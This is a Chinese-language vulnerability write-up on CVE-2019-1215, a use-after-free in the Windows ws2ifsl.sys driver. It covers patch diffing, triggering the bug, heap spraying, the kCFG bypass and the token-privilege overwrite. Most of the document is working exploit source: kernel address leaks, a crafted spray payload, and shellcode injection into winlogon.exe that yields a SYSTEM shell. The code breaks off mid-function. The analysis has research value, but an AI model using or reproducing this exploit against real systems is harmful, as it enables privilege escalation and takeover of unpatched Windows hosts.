0x01 漏洞介绍
本文分析ws2ifsl.sys中UAF漏洞的最新补丁(CVE-2019-1215),该漏洞可用于本地特权升级。该漏洞存在于Windows 7,Windows 8,Windows 10,Windows 2008,Windows 2012和Windows 2019中。它已于2019年9月10日进行了修补。有关此问题的更多信息,请参见 此处。
这篇文章描述了Windows 10 19H1(1903)x64上的漏洞根本原因分析和利用。该漏洞利用程序演示了如何在此系统上绕过kASLR,kCFG和SMEP。
0x02 ws2ifsl基础
为了更好地理解此分析,我们必须介绍一些有关易受攻击的驱动程序的背景信息。没有有关此驱动程序的公共文档,并且以下大多数信息都是反向工程。ws2ifsl组件是与winsocket相关的驱动程序。
驱动程序实现两个对象:
· 过程对象
· 一个套接字对象
驱动程序实现了几个调度例程,用户可以调用这些例程。在 NtCreateFile 文件名设置为的情况下调用时 \\Device\\WS2IFSL\\,将DispatchCreate 到达该函数 。该函数根据中的字符串进行分支 _FILE_FULL_EA_INFORMATION.EaName。如果是 NifsPvd,它将调用 CreateProcessFile,如果是 NifsSct ,它将调用 CreateSocketFile。
该函数 CreateSocketFile 和 CreateProcessFile 两者均创建内部对象,我们将其称为“ procData”和“ socketData”。创建后,这些对象保存在 _FILE_OBJECT.FsContext 文件对象的中,该文件对象是在分派例程中创建的。
文件对象是可以在用户模式下使用从返回的句柄访问的对象NtCreateFile。该句柄可用于执行DeviceIoControl或的调用WriteFile。这意味着'procData'和'sockedData'对象不会直接通过ObfReferenceObject 和 引用计数 ObfDereferenceObject,而是基础文件对象。
该驱动程序实现两个异步过程调用(APC)对象,称为“请求队列”和“取消队列”。APC是一种在另一个线程中异步执行功能的机制。由于可以在另一个线程中强制执行多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。
“ procData”对象包含这两个APC对象,这些对象由CreateProcessFile in InitializeRequestQueue 和 初始化 InitializeCancelQueue。APC对象由初始化 KeInitializeApc,并接收目标线程和函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及运行例程。如果是ws2ifsl,则运行例程为 RequestRundownRoutine 和 CancelRundownRoutine ,并且处理器模式设置为usermode。这些精简例程用于清理,如果线程在APC有机会在线程内部执行之前死亡,则内核将调用这些例程。之所以会发生这种情况,是因为如果APC设置为可警告状态,则仅计划在线程内执行该APC。如果例如SleepEx在第二个参数设置为TRUE的情况下调用线程,则可以将其设置为可警告状态。
驱动程序还在中实现了一个读写分派例程DispatchReadWrite,该例程 只能由套接字对象访问,并调用 DoSocketReadWrite。除其他事项外,该函数负责通过调用SignalRequest 使用 nt!KeInsertQueueApc API函数的函数将APC元素添加到APC队列中 。
0x03 硬件通信
在许多情况下,驱动程序会创建符号链接,并且其名称可用作的文件名 CreateFileA,但是ws2ifsl并非如此,nt!IoCreateDevice仅在DeviceName设置为'\ Device \ WS2IFSL'的情况下进行调用 。但是,通过调用本机API NtOpenFile ,可以到达create dispatch函数 ws2ifsl!DispatchCreate的目的。
以下代码可用于完成此操作:
`HANDLE` `fileHandle = 0;``UNICODE_STRING deviceName;``RtlInitUnicodeString(&deviceName, (``PWSTR``)L``"\\Device\\WS2IFSL"``);``OBJECT_ATTRIBUTES object;``InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);``IO_STATUS_BLOCK IoStatusBlock ;``NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);`
该函数 DispatchCreate 将检查打开调用的扩展属性,此属性只能通过NtCreateFile系统调用设置。
对于流程对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄,然后,具有设备的句柄,我们可以使用该句柄进行进一步的操作。
0x04 补丁分析
现在我们已经学习了背景知识,我们可以切换到补丁分析了。补丁程序分析通过比较ws2ifsl 10.0.18362.1的未修补版本与已修补的10.0.18362.356版本开始。
我们可以很快看到仅修补了几个函数:
· CreateProcessFile
· DispatchClose
· SignalCancel
· SignalRequest
· RequestRundownRoutine
· CancelRundownRoutine
在以下截图中可以看到:
补丁版本还包含一个新函数:
· DereferenceProcessContext
最明显的变化是所有更改的函数都包含对新函数 DereferenceProcessContext的新调用,在以下截图中可以看到此函数:
接下来要注意的是,“ procData”对象已由新成员扩展,现在使用引用计数。例如,在 CreateProcessFile负责所有初始化的中,此新成员设置为1。
procData->tag = 'corP'; *(_QWORD *)&procData->processId = PsGetCurrentProcessId(); procData->field_100 = 0;
procData->tag = 'corP'; *(_QWORD *)&procData->processId = PsGetCurrentProcessId(); procData->dword100 = 0; procData->referenceCounter = 1i64; // new
该函数 DereferenceProcessContext 还将检查引用计数,并对 nt!ExFreePoolWithTag 进行调用或仅返回。
该函数 DispatchClose是驱动程序的关闭调度例程,也已得到修补。新版本将call nt!ExFreePoolWithTag 更改为 DereferenceProcessContext。这意味着有时(如果参考计数器不为零)不会释放“ procData”,而只会将其参考计数减一。
该修复程序会在 SignalRequest 调用之前使 nt!KeInsertQueueApc的referenceCounter递增。
问题在于DispatchClose ,即使一个请求已经在APC中排队,该函数仍可用于释放“ procData”对象。DispatchClose 每当关闭对文件句柄的最后一个引用时,都会调用该函数 (通过调用CloseHandle)。该修补程序修复了UAF漏洞,因为关机例程等可以访问已释放的数据。
该修补程序通过使用新的referenceCounter来确保仅在删除缓冲区的最后一个引用之后才释放缓冲区,如果是精简例程(包含引用),则在函数末尾删除 DereferenceProcessContext引用
并且在调用之前增加引用计数 nt!KeInsertQueueApc,如果发生错误(可能 nt!KeInsertQueueApc 会失败),该引用也将被删除(避免内存泄漏)。
0x05 漏洞触发
要触发该漏洞,所需要做的就是创建一个“ procData”句柄,一个“ socketData”句柄,将一些数据写入“ socketData”并关闭两个句柄,线程终止调用APC调试例程,该例程将对释放的数据起作用。
以下代码将触发该漏洞:
in CreateProcessHandle: g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0); eaData->a1 = (void*)g_hThread1; // thread must be in current process eaData->a2 = (void*)0x2222222; // fake APC Routine eaData->a3 = (void*)0x3333333; // fake cancel Rundown Routine eaData->a4 = (void*)0x4444444; eaData->a5 = (void*)0x5555555; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)); DWORD supSuc = SuspendThread(g_hThread1); in main: HANDLE procHandle = CreateProcessHandle(); HANDLE sockHandle = CreateSocketHandle(procHandle); char* writeBuffer = (char*) malloc(0x100); IO_STATUS_BLOCK io; LARGE_INTEGER byteOffset; byteOffset.HighPart = 0; byteOffset.LowPart = 0; byteOffset.QuadPart = 0; byteOffset.u.LowPart = 0; byteOffset.u.HighPart = 0; ULONG key = 0; CloseHandle(procHandle); NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);
当在free 在DispatchClose 和RequestRundownRoutine处有断点时,我们可以验证此行为 :
Breakpoint 2 hit ws2ifsl!DispatchClose+0x7d: fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0) 1: kd> db rcx ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............ 1: kd> g Breakpoint 0 hit ws2ifsl!RequestRundownRoutine: fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx 0: kd> db rcx-30 ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
因为'procData'对象已被释放,所以例程将对释放的数据起作用,在大多数情况下,不会崩溃,因为未重新分配数据块。
0x06 堆喷分析
在我们知道如何触发错误之后,我们可以切换到漏洞利用了,第一步是回收释放的分配。
首先,需要知道缓冲区的大小和分配池。
在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged池上,大小为0x120字节。
1: kd> !pool ffff8b08905e9910 Pool page ffff8b08905e9910 region is Nonpaged pool *ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080 Owning component : Unknown (update pooltag.txt)
可以通过查看ws2ifsl!CreateProcessFile中的缓冲区分配来验证它:
PAGE:00000001C00079ED mov edx, 108h ; size PAGE:00000001C00079F2 mov ecx, 200h ; PoolType PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
在Nonpaged池上执行任意大小的受控分配的可靠方法是使用命名管道。
以下代码可用于为多个0x120字节的缓冲区分配用户控制的数据:
int doHeapSpray() { for (size_t i = 0; i < 0x5000; i++) { HANDLE readPipe; HANDLE writePipe; DWORD resultLength; UCHAR payload[0x120 - 0x48]; RtlFillMemory(payload, 0x120 - 0x48, 0x24); BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload)); res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL); } return 0; }
如果我们将此堆喷射合并到触发该漏洞的代码中,则会在 nt!KiInsertQueueApc内部获得一个错误检查,崩溃是由于对操作的安全检查而发生的。
.text:00000001400A58F6 mov rax, [rdx] .text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx .text:00000001400A58FD jnz fail_fast .text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j .text:00000001401DC2EA ; KiInsertQueueApc+95↑j ... .text:00000001401DC2EA mov ecx, 3 .text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx)
错误检查恰好在int 29指令处进行,在崩溃时检查寄存器时,我们可以看到RAX寄存器指向我们受控的用户数据。
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003 rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000 rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599 r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 0: kd> dq ffff8b08905e82d0 ffff8b08`905e82d0 24242424`24242424 24242424`24242424 ffff8b08`905e82e0 24242424`24242424 24242424`24242424 ffff8b08`905e82f0 24242424`24242424 24242424`24242424 ffff8b08`905e8300 24242424`24242424 24242424`24242424 ffff8b08`905e8310 24242424`24242424 24242424`24242424 ffff8b08`905e8320 24242424`24242424 24242424`24242424 ffff8b08`905e8330 24242424`24242424 24242424`24242424 ffff8b08`905e8340 24242424`24242424 24242424`24242424
导致崩溃的调用堆栈如下:
0: kd> k # Child-SP RetAddr Call Site 00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus 01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12 02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952 03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107 04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69 05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0 06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325 07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87 08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f 09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8 0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2 0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48 0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a 0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn 0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
由于主线程结束,因此触发了错误检查。发生这种情况的原因是因为损坏的APC仍在队列中,并且取消链接操作对损坏的数据起作用,因为前向和后向指针已损坏并且没有指向有效的链接列表,所以安全取消链接会检测到此损坏和错误检查。
0x07 KeRundownApcQueues
需要更改使用释放的APC元素的代码,以将其转变为有价值的东西。
触发漏洞并覆盖旧的“ procData”后,需要退出APC排队的线程。如果完成,内核将调用函数nt!KeRundownApcQueues,该函数会在 nt!KiFlushQueueApc内部进行bug检查,因为它会访问损坏的数据。
但是,这一次我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针是使用指向“ kthread”内部的值进行检查的。我们可以使用对带有SystemHandleInformation的NtQuerySystemInformation的调用来泄漏“ kthread”的地址,如果使用“ kthread”地址制作回收的“ procData”,则可以避免错误检查, 在nt!KeRundownApcQueues 函数的“ procData”对象内执行用户控制的函数指针。
0x08 绕过kCFG
在控制了要执行的函数指针之后,我们克服了一些障碍。对于这种利用,KASLR并不是问题,因为可能泄漏ntoskrnl基址,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。
但是,APC函数指针调用由Microsoft的称为内核控制流防护的CFI实现保护,如果我们尝试调用任何随机的面向返回编程(ROP)的gadget,则内核将通过错误检查来解决此问题。
幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以不停地调用什么,当调用函数指针 nt!KeRundownApcQueues时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)为零。
我们可以使用的另一种可能性是通过调用本机函数来调用APC函数指针NtTestAlert,使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)也指向它。
寻找函数,根据给定的约束条件,我们发现了一个函数对象 nt!SeSetAccessStateGenericMapping。
如下所示, nt!SeSetAccessStateGenericMapping 可用于执行16字节的任意写入。
不幸的是,这16个字节的后半部分没有得到完全控制,但是前8个字节是基于堆喷射所提供的数据。
0x09 令牌覆盖
一旦有了任意写原语,就可以做很多事情。在旧的Windows版本上,有很多技术可以将任意写入转换为完整的内核读取写入原语。在Windows 10的最新版本中,这些技术已得到缓解。一种仍在起作用的技术是令牌覆盖技术,它最初于2012年在Cesar Cerrudo的“ Easy local Windows Kernel Exploitation ”中发布,过去我们已经使用过这种技术。
思路是破坏位于 _SEP_TOKEN_PRIVILEGES 对象内部的 _TOKEN 对象。最简单的方法是在 启用所有位的情况下覆盖此结构的 Present 和 Enabled成员。这将使我们获得 SeDebugPrivilege 特权,这将使我们能够将代码注入诸如“ winlogon.exe”之类的高特权进程中。
我们需要触发两次漏洞才能可靠地用16个字节覆盖令牌结构。
0x10 获取系统特权
一旦我们被注入到系统过程中,利用就成功了,现在,我们可以运行“ cmd.exe”,以提供交互式shell,我们还避免了kCFG和SMEP的其他问题,因为我们不会在漏洞的上下文中执行ROP或执行任何ring 0代码。
0x11 漏洞利用
最终利用目标是Windows 10 19H1 x64,可以在这里找到 https://github.com/bluefrostsecurity/CVE-2019-1215,漏洞利用成功会弹出一个具有系统特权的新cmd.exe。
ExP完整代码:
/* The exploit works on 19H1. It was tested with ntoskrnl version 10.0.18362.295 */ #include #include #include #include #include #include #include #pragma comment(lib, "ntdll.lib") // run cmd.exe unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ "\x78\x65\x00"; static const unsigned int shellcode_len = 0x1000; #define MAXIMUM_FILENAME_LENGTH 255 #define SystemModuleInformation 0xb #define SystemHandleInformation 0x10 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; void* Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handels[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; #ifdef _WIN64 ULONG Reserved3; #endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[MAXIMUM_FILENAME_LENGTH]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; // exploit specific type information typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; // +0x0 UCHAR Flags; // +4 UCHAR EaNameLength; // +5 USHORT EaValueLength; // +6 CHAR EaName[1]; // +9 } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; typedef struct _PROC_DATA { HANDLE apcthread; // +0x0 void* unknown1; // +0x8 void* unknown2; // +0x10 void* unknown3; // +0x18 void* unknown4; // +0x20 } PROC_DATA, * PPROC_DATA; typedef struct _SOCK_DATA { HANDLE unknown; // +0x0 HANDLE procDataHandle; // +0x8 } SOCK_DATA, * PSOCK_DATA; // undocumented apis definitions typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG key); typedef NTSTATUS(WINAPI* NtTestAlert_t)(void); typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation); // resolved function pointers at runtime NtTestAlert_t g_NtTestAlert = 0; NtWriteFile_t g_NtWriteFile = 0; RtlGetVersion_t g_RtlGetVersion = 0; HANDLE g_Event1 = NULL; HANDLE g_Event2 = NULL; HANDLE g_Event3 = NULL; int g_done1 = 0; int g_done2 = 0; #define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset #define OFFSET_LINKEDLIST 0xA8 //kthread apc offset // generic helper function void InjectToWinlogon() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!h) { printf("Could not open process: %x", GetLastError()); return; } void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!buffer) { printf("[-] VirtualAllocEx failed\n"); } if (!buffer) { printf("[-] remote allocation failed"); return; } if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) { printf("[-] WriteProcessMemory failed"); return; } HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); if (hthread == INVALID_HANDLE_VALUE) { printf("[-] CreateRemoteThread failed"); return; } } HMODULE GetNOSModule() { HMODULE hKern = 0; hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); return hKern; } DWORD64 GetModuleAddr(const char* modName) { PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); DWORD outBuffer = 0; NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); if (status == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); } if (!buffer) { printf("[-] NtQuerySystemInformation error\n"); return 0; } for (unsigned int i = 0; i < buffer->ModulesCount; i++) { PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress; PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name; if (_stricmp(kernelImage, modName) == 0) { free(buffer); return (DWORD64)kernelImageBase; } } free(buffer); return 0; } DWORD64 GetKernelPointer(HANDLE handle, DWORD type) { PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20); DWORD outBuffer = 0; NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); if (status == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer); status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); } if (!buffer) { printf("[-] NtQuerySystemInformation error \n"); return 0; } for (size_t i = 0; i < buffer->NumberOfHandles; i++) { DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber; if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type) { if (handle == (HANDLE)buffer->Handels[i].Handle) { //printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle); DWORD64 object = (DWORD64)buffer->Handels[i].Object; free(buffer); return object; } } } printf("[-] handle not found\n"); free(buffer); return 0; } DWORD64 GetGadgetAddr(const char* name) { DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); HMODULE mod = GetNOSModule(); if (!mod) { printf("[-] leaking ntoskrnl version\n"); return 0; } DWORD64 offset = (DWORD64)GetProcAddress(mod, name); DWORD64 returnValue = base + offset - (DWORD64)mod; FreeLibrary(mod); return returnValue; } /* After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer, which will call our gadget function and write the first 8 bytes. */ DWORD WINAPI APCThread1(LPVOID lparam) { SetEvent(g_Event1); while (1) { if (g_done1) { printf("[+] triggering first APC execution\n"); g_NtTestAlert(); while (1) { Sleep(0x1000); } } else { Sleep(1); } } return 0; } /* After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes. After that the shellcode is injected into the system process. */ DWORD WINAPI APCThread2(LPVOID lparam) { SetEvent(g_Event2); while (1) { if (g_done2) { printf("[+] triggering second APC execution\n"); g_NtTestAlert(); InjectToWinlogon(); SetEvent(g_Event3); while (1) { Sleep(0x1000); } } else { Sleep(1); } } return 0; } HANDLE CreateSocketHandle(HANDLE procHandle) { HANDLE fileHandle = 0; UNICODE_STRING deviceName; OBJECT_ATTRIBUTES object; IO_STATUS_BLOCK IoStatusBlock; RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct"); InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL); FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA)); if (!eaBuffer) { printf("[-] malloc error\n"); return fileHandle; } eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsSct") - 1; eaBuffer->EaValueLength = sizeof(SOCK_DATA); RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1); SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4); eaData->unknown = (void*) 0x242424224; eaData->procDataHandle = (void*) procHandle; NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA)); if (status != STATUS_SUCCESS) { printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } HANDLE CreateProcessHandle(HANDLE hAPCThread) { HANDLE fileHandle = 0; UNICODE_STRING deviceName; OBJECT_ATTRIBUTES object; IO_STATUS_BLOCK IoStatusBlock; RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd"); InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL); FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)); if (!eaBuffer) { printf("[-] malloc error\n"); return fileHandle; } eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsPvd") - 1; eaBuffer->EaValueLength = sizeof(PROC_DATA); RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1); PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4); if (!hAPCThread) { printf("[-] error thread not found\n"); free(eaBuffer); return 0; } eaData->apcthread = (void*) hAPCThread; // thread must be in current process eaData->unknown1 = (void*) 0x2222222; // APC Routine eaData->unknown2 = (void*) 0x3333333; // cancel Rundown Routine eaData->unknown3 = (void*) 0x4444444; eaData->unknown4 = (void*) 0x5555555; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)); if (status != STATUS_SUCCESS) { printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress) { DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop"); if (!nopPointer) { printf("[-] SeSetAccessStateGenericMapping not found\n"); return 0; } DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping"); if (!funPointer) { printf("[-] SeSetAccessStateGenericMapping not found\n"); return 0; } UCHAR payload[0x120 - 0x48]; memset(payload, 0x0, sizeof(payload)); DWORD64 x = 0x41414141414141; memcpy(payload, &x, 8); x = 0x12121212; memcpy(payload + 8, &x, 8); x = kthreadAddress + OFFSET_LINKEDLIST; // apc linked list memcpy(payload + 0x10, &x, 8); x = kthreadAddress + OFFSET_LINKEDLIST; memcpy(payload + 0x18, &x, 8); x = funPointer; memcpy(payload + 0x20, &x, 8); // this is the RIP we want to execute, in case of NtTestAlert x = nopPointer; memcpy(payload + 0x28, &x, 8); // this is the RIP we want to execute, in case of rundown routine x = 0xffffffffffffffff; // this is to be written memcpy(payload + 0x30, &x, 8); x = 0xffffffffffffffff; // this is to be written, but it gets changed.. memcpy(payload + 0x38, &x, 8); x = 0x2424242424242424; memcpy(payload + 0x40, &x, 8); x = writeAddress; // this is where to write memcpy(payload + 0x48, &x, 8); for (size_t i = 0; i < 0x70; i++) { HANDLE readPipe; HANDLE writePipe; DWORD resultLength = 0; BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload)); if (!res) { printf("[-] error creating pipe\n"); return 0; } res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL); } return 1; } /* This function will trigger the use after free in ws2ifsl.sys and will try to reallocate the buffer with controlled content. */ void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id) { HANDLE procHandle = CreateProcessHandle(threadHandle); printf("[!] procHandle %x\n", (DWORD)procHandle); HANDLE sockHandle = CreateSocketHandle(procHandle); printf("[!] sockHandle %x\n", (DWORD)sockHandle); char* readBuffer = (char*)malloc(0x100); DWORD bytesRead = 0; IO_STATUS_BLOCK io; 